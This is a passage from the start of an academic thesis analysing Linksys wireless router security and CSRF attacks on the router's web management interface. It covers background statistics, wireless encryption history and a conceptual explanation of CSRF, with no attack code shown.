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Wireless routers are common in the typical home and are becoming more so 
every year. While wireless networks can be convenient and provide many 
benefits they also have the potential to be insecure and vulnerable. Statistics 
show that a large percentage of wireless routers use weak or no encryption and 
many wireless routers still use their default password. This research analyzed the 
security of wireless routers, specifically the security of a standard Linksys 
wireless router. The research focused on CSRF attacks and the possibility for an 
attacker to modify a wireless router through such attacks. The results of the 
research were significant. Proof of concept code is provided that demonstrates a 
variety of different types of attacks that enable an attacker to modify a wireless 





CHAPTER 1. INTRODUCTION 
1.1. Background 
Wireless communication dates back to the late 1800s with the invention of 
the radio (Bellis, n.d.). However, only recently have individuals had the capability 
to deploy their own wireless networks. This is primarily accomplished through 
standard devices called wireless routers, which can be purchased for a nominal 
price. In recent years, wireless routers have become increasingly common in the 
typical home. In 2006, 8.4% of homes within the U.S. were using a wireless 
router (Mercer, 2006). This number continues to grow and is likely to increase 
due to the many new devices that contain wireless connectivity as part of their 
functionality. 
 The security of sending and receiving data wirelessly has been a large 
concern for many years. Many different protocols have been created in order to 
provide both confidentiality and integrity of data traversing over wireless 
mediums. These protocols have been tested thoroughly and are continually 
scrutinized. Interestingly, wireless routers themselves have received little security 
attention. Further, the producers of wireless routers are focusing more and more 
on creating simpler and easier to use wireless routers that automatically 
configure themselves at a push of a button. While this makes setting up a 
wireless router more convenient, it takes the focus away from security and is 
likely introducing more security concerns. 
1.2. Statement of Problem 
Wireless routers are widely deployed in many environments ranging from 
corporations to coffee shops to individual homes. According to the Wireless 
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Geographic Logging Engine (WiGLE), there are over 18 million unique wireless 
networks that have been mapped out across the world (WiGLE, n.d.). According 
to a study done within West Lafayette, IN there were approximately 1700 unique 
wireless networks alone (Smith, Geethakumar, Mittal & Poyar, 2009).  
 As more wireless routers are deployed and people increasingly use them, 
security of wireless routers becomes more important.  However, studies have 
shown that security is a concern (Hu, Colizza & Vespiganni, 2008; WiGLE, n.d.; 
Smith et al., 2009). In 2009, a survey of West Lafayette showed that over half of 
the wireless networks discovered were using either weak encryption or no 
encryption at all (Smith et al., 2009). Beyond insecure network encryption, many 
people do not change the default password for the wireless routers. According to 
a recent study on Linksys routers in the United States, 45% of 2,729 routers that 
were publicly accessible still had a default password in place (Zetter, 2009). 
Further, an analyst at In-Stat estimated that approximately 50 percent of 
consumers and small businesses currently use the default password on their 
router (Haskins, 2007). There could be a few reasons that individuals fail to 
change default passwords for wireless routers.  Some people may restrict web 
management access to only devices on the internal network. If they believe that 
nobody is able to access their network, then they might think it is unnecessary to 
change the default password. Others may simply be ignorant or not care. 
Another security concern arises when individuals do change their password, but 
fail to adopt a sufficiently long and random password.  Last, even when a 
sufficiently long and random password is selected, when individuals save the 
password within their browser, it leaves the wireless router more vulnerable to 
potential attacks. 
There is a need to examine the security posture of wireless routers and 
specifically how malicious websites can perform Cross Site Request Forgery 
(CSRF) attacks to potentially take control of the wireless router on a victim’s 
network. Not only is it important to be aware of the vulnerabilities which make this 
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attack possible, it is also necessary to understand the potential consequences of 
exploiting the vulnerability. 
1.3. Significance of Problem 
Wireless routers make it easy to send and receive data between devices. 
Wireless routers provide people flexibility to access the internet and other data 
on their network from several locations. Further, with the abundance of available 
wireless networks, people can stay connected wherever they go.  This 
convenience and simplicity to set up and connect to the internet wirelessly has 
made it easy for people to access all facets of their life through a computer. 
However, it is often forgotten or ignored that data sent through a wireless 
network may be easily intercepted. For a corporation this may mean trade 
secrets, patent information, or plans for future growth. For an individual it could 
mean personal data, financial information, credit cards, bank accounts, etc. In an 
information age where much of society revolves around information systems, it is 
crucial to keep sensitive and private data secure.  
Cyber crime is a significant problem that continues to rise. According to 
the Internet Crime Complaint Center (IC3) (n.d.) Internet Crime Report there 
were 275,284 crime complaint submissions in 2008, which was an increase of 
33.1% over 2007. The majority of these cases were fraudulent in nature and 
involved a financial loss. It was estimated that the total dollar amount lost from all 
of the reported cases was $264.6 million dollars (IC3, n.d.). Although a wireless 
network may be using secure encryption protocols, an insecure wireless router 
could provide other means for an attacker to access and control the data that 
flows through the network. 
An insecure wireless router can also aid in committing crimes. Currently it 
is easy to find wireless networks that contain little to no security. These can act 
as anonymous internet connections. Using an unsecured wireless network, it is 
possible to send a threatening email to the President of the United States that is 
difficult or potentially impossible to trace back to the sender. Other illegal activity 
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could be done including plotting terrorist attacks or hacking into organizations. 
The FBI estimated that in 2006 the total cost of cyber crime to businesses was 
$67 billion dollars (Organized Cyber Attack, 2008). This was modest compared to 
McAfee’s projection that the global cost of cyber crime in 2008 may have cost 
businesses one trillion dollars (Mills, 2009). Free and easy access to anonymous 
internet hubs makes it easy for cyber criminals to continually perform attacks 
while not getting caught. 
Vulnerabilities within wireless routers could also potentially be used in a 
botnet or to propagate a worm with devastating consequences. In this case a 
single attack could lead to thousands of infected wireless routers. Each router 
could potentially further attempt to infect other routers. If an attacker manages to 
gain complete access to a wireless router there is much that they can do. 
Typically, wireless routers act as a gateway for many users. This essentially 
would give the attacker the capability to control all of the data that comes in and 
out of the network. It would not just affect the wireless router; it would also affect 
all of the machines behind the router. 
What makes wireless routers of particular concern is that it is not easy to 
detect malware on a wireless router. Currently there is no anti-virus solution that 
exists specifically for most home routers (Bradley, n.d.). Secondly, because 
wireless routers are by and large at the edge of the network, it is hard to monitor 
traffic for suspicious activity. Finally, wireless routers are attractive targets due to 
their predominantly high bandwidth capability and the fact that they are always 
on. 
1.4. Statement of Purpose 
The purpose of this study was to analyze the security of wireless routers. 
More specifically, to analyze the security of stand-alone home networking 
devices that include: routing functionality, an Ethernet switch, and a wireless 
radio. The study focused on Linksys wireless routers as they were one of the 
most popular. According to WiGLE (2009), Linksys routers made up the majority 
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of all deployed wireless routers by over double; the next most widely used, D-
Link. The study primarily analyzed the default firmware that comes loaded on the 
Linksys wireless router. The typical way to interact with a wireless router is 
through a web management interface. Hence, the web management interface 
was chosen to be examined. The focus of the examination was to discover 
potential vulnerabilities and attacks, the difficulty of performing said attacks, and 
the damage that they can cause. CSRF attacks were the primary type of attack 
studied. The hope of this research was to better understand the security of 
wireless routers so that they can be improved and people can be better informed 
of the risks associated with using wireless routers by understanding the types of 
attacks that are possible. 
1.5. Delimitations 
This research was restricted to using Linksys wireless routers given that 
they were currently the most widely deployed. Other brands of wireless routers 
were not included in this research. The default Linksys firmware was chosen as 
the firmware to be used throughout the research. The specific version of firmware 
used throughout this research was the initial release of the Linksys WRT54GL 
firmware (version 4.30.0) (Firmware Release History, 2008). At the end of this 
research, the latest version of firmware (4.30.13) available from Linksys for the 
WRT54GL (Firmware Release History, 2008) was analyzed to determine if the 
results of the research extended to this version as well. Aside from the firmware, 
some of the attacks relied on external factors such as the specific browser or 
operating system which the client used. Even the version of the browser that was 
used made a difference in certain cases. All possible browsers, operating 
systems, and other external factors were not explored in the research. When 
scenarios such as these arose, the researcher chose well known and widely 
used operating systems and applications that were configured with default 
settings. It was generally assumed that most people use the newest version of an 
application – specifically applications that automatically update by default. In 
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some cases changing configuration settings or using an older version of a 
product was used as a proof of concept that an attack works in certain, may it be 
rare, circumstances. The specific browsers were delimited to Internet Explorer 
(versions 6.0.2900.2180 and 8.0.6001.18702) and Firefox (versions .8, 3.5.5, 
3.5.6, and 3.5.8). For the Java based attacks, the research was delimited to Java 
Runtime Environment (JRE) versions 1.6.0 and 1.6.18. 
Analyzing the security of a wireless router had almost limitless vectors for 
potential vulnerabilities. This research did not address each one of them. For a 
detailed outline of the areas of analysis, see the methods and procedures 
section. If a new vector for attack made itself apparent during the research it may 
have been analyzed depending on its potential significance and time permitting. 
The significance was determined based on the perceived threat of its potential 
damage and perceived difficulty/time it would take the researcher to perform. 
These decisions were subject to the researcher’s biases. 
1.6. Limitations 
There were several limitations to this research. These limitations can be 
categorized by each of the research goals: the possibility of attack, the difficulty 
to perform the attack, and the damage that could be caused as a result of attack. 
The possibility of attack was the primary focus of the research. In order to 
determine the difficulty of attack and assess the damage which the attack can 
cause requires there to first be an attack. There are a number of obstacles which 
act as limitations in finding vulnerabilities in wireless routers. Most notably, there 
has been a lack of previous research on this topic. There are no well defined 
methodologies to specifically assess the security of a wireless router. The plan 
that the researcher chose to go about the assessment was mostly based on 
accepted practices and prior knowledge. However, at a high level, the researcher 
approached this assessment similarly to that of any other type of system. This is 
done by examining the different parts and interactions of the system and 
determining which have the greatest potential for failure, are the easiest to 
  
7 
exploit, and can provide the most benefit. The researcher used best judgment to 
determine this. Although the researcher’s intuition and rationale behind the types 
of attacks which were performed cannot be reproduced, the attacks themselves 
were documented clearly and are readily reproducible by other researchers. 
Secondly, many of the internal details regarding how a Linksys wireless router is 
constructed and functions are unknown; this information is proprietary and is kept 
secret. Because this information is not readily available, the researcher had to 
spend much time and effort collecting it and re-learning things that other people 
may have known. This acted as a road block impeding in the progress of the 
research. Lastly, simply because the researcher is unable to successfully 
perform an attack does not mean that it is not possible. It may require specific 
expertise or information that the researcher does not possess. Additionally, many 
times in order to circumvent the security of a system, one must be creative. Other 
researchers could come up with different ideas that were not thought of. The 
results of this research are not able to deduce whether or not wireless routers are 
secure. The results only demonstrate certain securities or insecurities within a 
specific version and model of wireless router – nothing more. 
 The difficulty of performing an attack is relative. In this thesis, certain 
aspects were focused on. First, the amount of resources which the attack 
required was considered. These resources include hardware and software 
requirements as well as specific IP address, domain name or internet connection 
requirements. Inside knowledge was also considered. This includes information 
such as the type of wireless router that a victim is using and the subnet, 
username, and password of the router. The technical knowledge and time 
required to perform the attack are also factors dictating the difficulty of the attack. 
All of these aspects were considered. However, rather than stating a specific 
difficulty level to perform an attack, the researcher simply stated all of the 
requirements necessary to successfully accomplish the attack. This was intended 




 Similar to determining the difficulty of an attack, assessing the damage of 
an attack can be very subjective as well. In order to bypass the subjective nature 
of damage, the researcher stated the specific consequences of each attack. 
However, the researcher may not have captured all of the potential 
consequences of an attack. A specific attack may not be very harmful by itself 
but in conjunction with another could prove to be very destructive. Similarly, the 
vulnerability may make other attacks possible that were previously not possible. 
The researcher may not be aware of certain attacks. Therefore, the damage of 
an attack may be much worse than the researcher suspected. 
1.7. Definitions 
Access Point (AP): In the context of this document, access point and wireless  
access point both share the same meaning. Please see Wireless Access 
Point. 
Anti-virus: A piece of software that attempts to detect and protect against  
viruses or malware. 
Bot: A piece of software installed or run on a machine without permission that  
accepts commands from someone and acts upon them. 
Botnet: A network of bots which can all be controlled by a single-issued  
command. 
Bandwidth: The amount of data which can be sent over a wire in a given  
amount of time. 
Cross-Site Request Forgery (CSRF): Also known as XSRF, an attack where the  
trust of a web application in its authenticated users is exploited by letting 
the attacker make arbitrary HTTP requests on behalf of a victim user 
(Jovanovic, Kirda & Kruegel, n.d.). 
Cross-Site Scripting (XSS): An attack that exploits the trust that a user has in a  
website (Cross-Site Scripting, n.d.). 
DNS Pinning: Caching DNS responses in the browser such that the Time To Live  
(TTL) field of the response is not respected (Hanson, 2009). 
  
9 
DNS Rebinding: Re-mapping a domain name to a different IP address. It is  
typically used to bypass the SOP of a browser (Hanson, 2009). 
Firmware: “Software that is embedded in a piece of hardware.” (Fisher, n.d.). It  
is also typically fixed and can only be modified if overwritten completely. 
Hub: A network device that connects multiple devices to each other. When one  
device sends out data, the data is sent to all of the devices connected to 
the hub. 
Infected: A device that contains malware. 
Interface: The physical or logical network interface adapter and configuration  
that allows the operating systems and applications to communicate 
(Resource Dependency Service terminology, n.d.). 
Local Area Network (LAN): The internal network of the WAP – typically using  
private address space. 
Malware: “(for "malicious software") is any program or file that is harmful to a  
computer user.” It includes computer viruses, worms, and trojan horses 
(Definition of Malware, n.d.). 
Man-In-The-Middle Attack (MITM): “A form of active eavesdropping in which the  
attacker makes independent connections with the victims and relays 
messages between them, making them believe that they are talking 
directly to each other over a private connection, when in fact the entire 
conversation is controlled by the attacker.” (Man-in-the-middle attack, 
n.d.). 
Same Origin Policy (SOP) - The website where the script originated from must be  
the same as the website that the script is attempting to interact with (Same 
Origin Policy, n.d.). 
Spoof: To impersonate or pretend to be something that it is not. 
Switch: Similar to a hub in that it connects multiple devices to each other.  
However, when one device sends out data, it only sends it to the specified 
device and not to all of them. 
Uniform Resource Identifier (URI): A string of characters used to identify a  
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name or resource on the internet. The URI is made up of the URL and 
URN (Uniform Resource Identifier, n.d.). 
Uniform Resource Locator (URL): Considered to be the location part of the  
URI. It specifies where an identified resource is available and the 
mechanism for retrieving it (Uniform Resource Locator, n.d.). 
Uniform Resource Name (URN): Considered to be the name part of the URI.  
They are intended to serve as persistent, location-independent resource 
identifiers and are designed to make it easy to map other namespaces 
(Uniform Resource Name, n.d.). 
Wide Area Network (WAN): The external network which the WAP is connected  
to - typically the internet. 
Wireless Access Point (WAP): In a wireless local area network (WLAN), a  
wireless access point is a station that transmits and receives data. An 
access point connects users to other users within the network and also 
can serve as the point of interconnection between the WLAN and a fixed 
wired network. Each access point can serve multiple users within a 
defined physical area (What is access point, n.d.). 
Wireless Local Area Network (WLAN): The internal network of the WAP that is  
connected via wireless medium. This is typically on the same network as 
the physical LAN, sharing the same network subnet and broadcast 
domain. 
Wireless Router: Typically found in a home, a stand-alone device that contains a  
router, an Ethernet switch, and a wireless radio. Some additionally include 
a broadband modem (Wireless access point, n.d.). 
Worm: A self-replicating computer program (Computer Worm, n.d.). 
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CHAPTER 2. REVIEW OF LITERATURE 
2.1. Wireless Protocol 802.11 
Home wireless networks are a new technology dating back to the original 
IEEE standard of 802.11, which was released in 1997. In 1999 the IEEE 802.11 
standard was revised and superseded by the International Organization for 
Standards (ISO) and the International Electrotechnical Commission (IEC) 
(OFFICIAL IEEE 802.11, 2009). This original version supported net bitrates of 1 
or 2 megabits per second. While this standard was the basis for current wireless 
networks, it has long been out of use. Since the original IEEE standard in 1997, 
there have been numerous amendments. Notably, in 1999 two new amendments 
were standardized. These include 802.11a and 802.11b, which are Higher Speed 
PHY Extension in the 5 GHz band and 2.4 GHz band respectively (OFFICIAL 
IEEE 802.11, 2009). 
 802.11a operates in the 5 GHz range providing a substantial increase in 
speed to the original version. It achieves a net bitrate of 54 megabits per second 
and has an approximate range of 30 meters for outdoor communication and 15 
meters for indoor. 802.11b operates on the 2.4 GHz range while providing 11 
megabits per second transfer rate. However, it allows for a much greater range of 
90 meters for outdoor and 45 meters for indoor communication (Broadband 
Wireless Exchange Magazine, n.d.). 
 As seen by the comparison of data rates and range of both, 802.11a and 
802.11b are very different. However, those aren’t the only differences. There are 





 The longer the wavelength, the further it goes. 
 The longer the wavelength, the better it travels through and around things. 
 The shorter the wavelength, the more data it can transport. 
 
Additionally, it is important to consider other conditions. Many devices currently 
use the 2.4 GHz frequency including: microwave ovens, cordless telephones, 
Bluetooth devices, baby and security monitors, and amateur radio. The more 
signals in a specific or nearby frequency range causes an increased amount of 
interference. In the extreme case this can lead to the inability to send or receive 
data (Broadband Wireless Exchange Magazine, n.d.).   
 In 2003 a new amendment for 802.11 was introduced. This was the 
802.11g standard, which operates on the 2.4 GHz band while providing an 
increased data rate over 802.11b. It is able to accomplish a net bitrate of 54 
megabits per second while maintaining the long range that the 2.4 GHz band 
provides. While 802.11g is currently the most widely used and adopted version of 
802.11, another new amendment came out in September of 2009 that is gaining 
popularity, 802.11n (IEEE Ratifies 802.11n, 2009). 802.11n takes advantage of 
both the 2.4 GHz and 5 GHz ranges as well as several new techniques. This 
enables it to achieve a net bitrate of 600 megabits per second while having a 
range of 182 meters outdoor and 91 meters indoor (Wirevolution, n.d.) (Wireless 
Networks, n.d.). 
2.2. Intrinsic Vulnerabilities of Wireless Networks 
Security analysis of 802.11 wireless networks can be based on the well-
known security model, CIA, which includes: confidentiality, integrity, and 
availability. 
 Compared to traditional physical networks there is a significant decrease 
in the confidentiality in wireless networks. In order to obtain data sent throughout 
a wired network, one must have physical access to the network. A person must 
have some way to directly connect their computer or device within the network. 
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Even then, the data that can be extracted is limited. In a network using hubs, one 
can only capture data that is being sent to or from the broadcast domain that one 
is a part of. However, more realistically, the network will be using switches. In this 
case an attacker cannot capture any data traversing the network unless they 
perform ARP poisoning or other attacks. On the other hand, a person can easily 
capture data from wireless networks without having physical access and 
potentially at a distance of a mile or further using directional antennas (DEFCON 
12, 2004). All of the data sent across a wireless network is propagating through 
the air in every direction. By simply placing a wireless card into monitor mode, all 
of the data can be easily captured. 
 The integrity of a wireless network is also important and can be viewed in 
two different ways: 1) the devices that are on the network, and 2) the integrity of 
the data flowing through the network. Using basic 802.11 a/b/g/n, the only piece 
of information required to connect to a wireless network is the Service Set 
Identifier (SSID). A typical wireless router broadcasts this information out about 
10 times per second (Getting the Most out of Multicasting, 2006). Needless to 
say, it is easy for an adversary to connect to a wireless network. Once connected 
to the network, everything within the network is accessible to the adversary. 
Worse yet, an attacker can use the internet connection maliciously, which will all 
point back to the owner of the wireless network. The second way that a network 
can have its integrity compromised is through the data that is sent through the 
network. Malicious attackers can act as other legitimate devices on the network 
and send data as that legitimate device. However, this is no different to a wired 
network. It is just much easier on a wireless network because physical access is 
not required. 
 Lastly, wireless networks are much less reliable than physical networks. 
Wireless networks can be easily rendered un-available. As described previously, 
the interference from other devices can stop a wireless network from functioning. 
Also, an unauthorized device on the network could send and receive large 
amounts of data using all of the bandwidth available making the network 
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congested, slow, and potentially un-usable. Further, the device could constantly 
send data through the air waves by not conforming to the Request-To-Send and 
Clear-To-Send (RTT-CTS) collision avoidance protocol. This would take away 
the ability for every other device on the network to send data since the data 
would collide with the malicious device’s data. This attack does not even require 
the malicious device to be connected or associated to the wireless router – it is 
essentially analogous to a jamming device. There are also other attacks that can 
disassociate clients from the wireless router. By constantly replaying 
deauthentication packets to a client, one can perform a targeted denial of service 
attack on any device connected wirelessly (Bellardo & Savage, 2003). 
2.3. Securing Wireless Networks 
Although there are many inherent features of wireless networks that make 
them less secure than physical networks, measures can be taken to enhance 
their security. To make the confidentiality of wireless networks as secure as 
physical networks, Wired Equivalent Privacy (WEP) was created. WEP was 
originally introduced in 1997 (802.11-1997, 1997) and was later included in the 
original IEEE 802.11 standard created in 1999 (802.11-1999, 1999). Additionally, 
WEP included the CRC-32 checksum to provide integrity (Arbaugh, 2001). In a 
closed WEP-encrypted network, one needs to provide the SSID of the network to 
connect as well as the encryption key of the network. Initially 64-bit WEP was 
used. Of the 64-bits only 40 of them were used for the key while the other 24-bits 
were the initialization vector (IV). Later, after the United States lifted restrictions 
on exporting cryptographic technology, a new 128-bit version of WEP was 
implemented. This used a key size of 104 bits. However, it turned out that this 
increase in key size did not make much difference. In 2001, researchers found 
several serious flaws within WEP, which allowed them to crack it in a matter of 
minutes regardless of the key size (Borisov, Goldberg & Wagner, n.d.). 
As a temporary solution to the problems of WEP, the Wi-Fi Protected 
Access (WPA) protocol was introduced. In 2003, WPA was officially declared the 
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successor of WEP and announced that it would be standardized in the upcoming 
802.11i amendment. However, in November 2008, researchers found a 
weakness in the TKIP algorithm of WPA (Beck & Tews, 2008). Although, the 
attack did not completely break the algorithm and lead to key recovery as in the 
WEP attacks, it allows for small packets with mostly known content to be 
decrypted. Later, in October 2009, further weaknesses were found that allowed 
fairly large packets to be injected into the network (Halvorsen, Haugen, Eian & 
Mjølsnes, 2009). Although WPA TKIP is not completely broken, it has serious 
flaws within it. Fortunately, in 2004 WPA2 was standardized as part of the IEEE 
802.11i amendment as well. None of the attacks that work against WPA work 
against the newer WPA2 protocol that implements the Counter Mode with Cipher 
Block Chaining Message Authentication Code Protocol (CCMP) (McMillan, 
2009). CCMP uses the Advanced Encryption Standard (AES) with a 128 bit key, 
128 bit block size, and 10 rounds of encoding (IEEE 802.11i: Part 11, 2004). 
WPA2 CCMP is the latest encryption protocol for wireless networks and is 
considered to be secure. However, just as any encryption scheme, WPA CCMP 
is susceptible to brute force and dictionary based attacks. It is possible to capture 
a legitimate authentication session and perform an off-line brute force or 
dictionary attack (Tutorial: How to Crack WPA/WPA2, 2009). It is even possible 
to use time-memory tradeoff techniques, otherwise known as a pre-computed 
dictionary, to further increase the speed of the attack (Oechslin, n.d.). However, 
part of the authentication in WPA and WPA2 uses the SSID of the wireless 
network (Tutorial: How to Crack WPA/WPA2, 2009). Because of this, simply 
changing the SSID from the default name to one that is uncommon prevents the 
pre-computed dictionary attacks. While the maximum passphrase length for 
WPA2 is 63 characters (Rantwijk, 2006), it can be significantly shorter and still be 
safe against brute force and dictionary attacks. With the current computational 
power of computers, it is sufficient to use a random 10 character alpha-numeric 




While adding encryption is one way to increase the security of a wireless 
network, there are other things that can be done. In order to prevent un-
authorized devices on a wireless network, MAC filtering can be used. One can 
specifically allow only select devices or contrarily blacklist a set of devices using 
an access control list. Every wireless card contains a unique MAC address. 
However, it is easy to spoof this address allowing one to bypass these MAC 
filters. 
Finally, when securing a wireless network, simply containing the wireless 
signal will provide additional security. If an attacker cannot obtain a signal from 
the wireless network, they cannot capture any of the data nor can they obtain 
access to the network. There are several ways to contain the signal. First, simply 
limiting the power of the wireless router will decrease the range of the network. 
Secondly, barriers can be put up at the parameter of the intended access area. If 
the perimeter is a building, there is special paint that can be applied on the 
exterior walls of the building to dampen the signal strength (Anti-Wi-Fi paint, 
2009). Placing mediums, such as water or metal, around the perimeter will, for all 
practical purposes, completely absorb the wireless signal (Flickenger, 2007). 
2.4. Wireless Routers 
Wireless Routers are standard devices used to create a wireless network. 
These devices first appeared in the late 1990’s and quickly became popular. In 
2006, it was estimated that already 8.4% of households in the U.S. had a 
wireless router deployed (Mercer, 2006). Further, the amount of wireless routers 
is increasing rapidly – not just within the U.S., but throughout the world as well. 
According to RSA, from 2006 to 2007, London, New York, and Paris had an 
increase of wireless networks to the tune of 160, 49, and 44 percent respectively 
(Wireless Adoption Leaps Ahead, 2007). This increase continued from 2007 to 
2008 at an even greater rate. Wireless networks in Paris increased by an 
enormous 543 percent, which dwarfed the still significant 72 and 45 percent 
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growth in London and New York respectively (The Wireless Security Survey, 
2009). 
Due to the large demand, many different companies are coming out with 
their own wireless home networking device solutions including: Apple, Belkin, 
Buffalo, D-link, Linksys, Netgear, and Trendnet. However, they all typically have 
the same basic features. They often include a router, an Ethernet switch, and of 
course a wireless radio. Some additionally include a broadband modem 
(Wireless access point, n.d.). 
There are several features that make wireless routers an attractive target. 
Wireless routers are becoming increasingly common. Wireless routers act as the 
gateway of a network and therefore affect all of the other devices that are 
connected to them. With control of the gateway, it is possible to monitor or modify 
all of the traffic flowing in and out of the network. Wireless routers tend to have 
high bandwidth capability, which makes them a more valuable resource for an 
attacker. Wireless routers are typically always on, which allows the resource to 
be constantly available. There is currently no anti-virus solution for most wireless 
routers (Bradley, n.d.). Also, since they are usually located at the edge of a 
network, it is difficult to monitor traffic from them for suspicious activity. Lastly, 
many people tend to forget about the wireless router as long as it is working 
correctly. All of these properties of wireless routers ensure that an attack will be 
long-lived and prosperous (Poyar et al., 2009). 
2.5. Wireless Router Security 
With the many incentives of attacking wireless routers and with their 
continued proliferation, it is important that they are secure. There are many 
potential attack vectors within wireless routers. Essentially a wireless router is 
just a small computer with little memory and computational power. Many even 
run a version of Linux as their operating system (Weiss, 2005). For this reason, 
many attacks that can be performed against a PC can similarly be done against a 
wireless router. Such attacks may include buffer or heap overflow attacks, format 
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string attacks, password brute forcing, and ARP poisoning. The attacks that can 
be performed against a wireless router can be classified into two categories: 
inherent flaws within the wireless router or user error (Poyar et al., 2009). 
In the case of inherent flaws, the user does not have much control. It is 
primarily the vendors’ responsibility to ensure that the wireless router has been 
designed without vulnerabilities. The vendor can later fix any issues within the 
software of the wireless router and create an updated version of the firmware. It 
is then typically the users’ responsibility to verify that they are always running the 
latest, most secure, version of firmware available. There are numerous possible 
vulnerabilities within a wireless router. Any service running can be attacked. 
These services may include: web, telnet, SSH, DHCP, DNS, or others. Further, 
any feature that is included in the wireless router may be vulnerable to attack. 
For example, firewalls, universal plug and play (UPnP), and quality of service 
(QoS). Lastly, even the IP stack and routing buffers could be vulnerable. This 
could be a result of how forwarding of packets is handled, large buffer sizes, 
fragmentation, or a burst of packets. Wireless routers are continually getting 
more complex and adding new features, which result in more points of attack and 
possible vulnerabilities (Poyar et al., 2009). 
The second type of attacks include: incorrect wireless router configuration 
settings, user error, and social engineering. These can usually be prevented by 
the user with careful configuration and a basic understanding of wireless routers. 
However, this is by far the largest threat to wireless routers today. In a 2008 
study by RSA, they examined the wireless networks of three major cities: 
London, Paris, and New York. Of the three cities New York faired the best in 
terms of having the most secure wireless networks. However, still over 50% of 
the wireless networks were found to be insecure, using either no encryption at all 
or WEP. It is noteworthy that the survey excluded the wireless routers that should 
be open (public hotspots) (The Wireless Security Survey, 2009). These findings 
were similar to other studies that have taken place across different cities within 
the U.S. as well (WiGLE, n.d.) (Smith et al., 2009) (Hu et al., 2008).  
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Using weak or no encryption is one of the ways to incorrectly secure a 
wireless router. It is also important to understand all of the services that are 
running and where they can be accessed from. For example, allowing telnet, 
SSH, or web management access from the WAN can be risky especially when 
precautions are not taken. Telnet should not be open to the WAN, nor used at all 
if it can be avoided, because it sends everything in clear text. Instead SSH 
should be used. However, when opening SSH up to the WAN, it is imperative 
that a strong, non-dictionary word is used as the password as there will inevitably 
be brute force attacks attempted. This holds for the web management interface 
as well. Also with regards to the web management interface, it should not be 
enabled on the WAN interface unless it is using SSL. Without SSL, all of the data 
will be transmitted in clear text, including the username and password, just as 
with telnet. 
Just as there are implications to opening services to the WAN, there are 
also implications to allowing services on the WLAN. Some wireless routers 
enable web management via WLAN by default. As discussed previously, over 
50% of wireless networks were using insecure encryption or no encryption at all. 
In these cases anybody can get on the wireless network and consequently have 
access to whatever services are enabled for WLAN. If the web management 
service is available and the wireless router is using the default username and 
password, then anybody within proximity can have complete access to the 
wireless router. It is believed that many of the wireless routers that are deployed 
use the default username and password. According to the paper “Brave New 
World: Pervasive Insecurity of Embedded Network Devices” by researchers at 
Columbia University, 38.5% of Linksys routers in the U.S. were using the default 
password (Cui, Song, Prabhu & Stolfo, 2009). This result was actually lower than 
the findings of other sources where the percent of routers with their default 
password was 45% (Zetter, 2009) and 50% Haskins, 2007). Additionally, some 
wireless routers are configured to use the same password as their wireless 
encryption. If using WEP, this key can be easily obtained. With the password and 
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access to the wireless network, an attacker can gain full control of the wireless 
router. These same methods also apply to the other services that may be 
accessible from the WLAN, most notably SSH. 
There are many different configuration settings to consider. Every network 
will have its own unique requirements, but it is important to understand the 
implications of certain settings and what can be done to better protect the 
wireless router and network. 
Even a secure wireless router may be vulnerable to modification of 
settings or complete control through social engineering. Some of these social 
engineering attacks are difficult to detect and even someone who is educated in 
the security of wireless routers can become a victim if not careful. Simply luring a 
person to click on a specially crafted URL could be all that is needed to modify 
the settings of their wireless router. This attack was reportedly done against a 
bank in Mexico (Espiner, n.d.). The attack is known as cross-site request forgery 
(CSRF). It may also be possible to perform Cross-site scripting (XSS) or other 
JavaScript attacks against wireless routers.  
2.6. Cross-Site Request Forgery (CSRF) 
CSRF attacks have been called the “sleeping giant” of web-based 
vulnerabilities (Grossman, 2006). These attacks take advantage of the trust that 
a website has in a user’s browser (Cross-site request forgery, n.d.). For example, 
it uses saved user credentials or cookies that allow a user to access a protected 
resource, most commonly another website. It is also feasible to perform CSRF 
attacks that use credentials specified by the attacker (Barth, Jackson and 
Mitchell, 2008). While there has been no formal research performed specifically 
on CSRF with respect to wireless routers, it seems to be possible that CSRF 
attacks can be performed against wireless routers as well. There have been 
reports that these attacks have occurred (Espiner, n.d.), however the details of 
the said attacks were not provided. Although, there has been no research done 
on CSRF attacks against wireless routers, CSRF attacks have been known since 
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the 1990s (Cross-site request forgery, n.d.) (Dean, Felten, & Wallach, 1996). 
CSRF has been researched against other web applications and is well 
understood. 
 The idea behind the CSRF attack is to have a victim send a request to 
another device or program. The primary reason for performing a CSRF attack is 
due to the fact that the victim has specific authorization to a protected resource 
that is otherwise not accessible to the attacker. The victim may have 
authorization in the form of a cookie or user credentials that is stored in their 
browser and automatically sent with their requests. It may also be that the victim 
is located on a network that the attacker does not have access to. This may be 
due to a firewall or, more commonly in the case of wireless routers, due to a non-
routable IP address. Another potential purpose for CSRF attacks is for stealth. 
The attack is executed by the victim’s computer and is not correlated with the 
attacker. However, the referrer header on the HTTP request would be set to the 
URI of the web page where the link was clicked from. This web page may be 
associated to the attacker. It would not be very difficult for an attacker to put up a 
link on a forum or some other web page that can not be traced back to them. 
Further, if the attacker sent the link via email then the referrer header would 
either not be present or be set as the victim’s web mail URI. In either of these 
cases it would be very difficult, if not impossible, to track where the attack came 
from. 
 CSRF attacks are possible for several reasons. In the most general case, 
where user credentials or a cookie are passed to a web application, CSRF 
attacks are achievable because of the way browsers work. When a user logs into 
a website a session is created. This session is typically in the form of a cookie. 
This, usually nonsensical string of characters, is uniquely identified with a user’s 
session. The cookie is passed along automatically by the browser with each 
request to the corresponding domain. The website examines the cookie string 
and looks up the information that is associated with it. This typically includes the 
username, time that the session started, whether or not the user is authenticated, 
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and other data specific to that web application. Cookies allow users to browse a 
website without requiring them to re-login every time they go to a new page on 
the website. The cookie continues to get sent with any request to the associated 
domain until the browser determines that it should no longer send it. For typical 
session cookies they continue to be sent until the browser is restarted. However, 
the website can choose to accept or reject the cookie based on how it is 
configured. Cookies typically keep a user authenticated until the cookie either 
expires or the user logs out. Most wireless routers use HTTP basic authentication 
rather than using cookies. HTTP basic authentication works in a very similar way 
to cookies. The primary difference is that rather than sending a unique string of 
characters identifying a user with each request, the actual user name and 
password is sent as part of every request. While basic authentication is less 
secure than using cookies in the way described above, it has the same 
implications with respect to CSRF. “The CSRF problem affects both cookies and 
HTTP authentication. It does not affect URL parameters because to forge such 
requests the attacker would have to know the session ID to include in the URL.” 
(Johnston, 2004, p. 24). Since most wireless routers use HTTP basic 
authentication they are susceptible to CSRF attacks. 
 There are several limitations to CSRF attacks. First, an attacker needs to 
lure a victim to click on a specially crafted link that the attacker planted. The 
attack must not require any interaction. An attacker can only send a single attack 
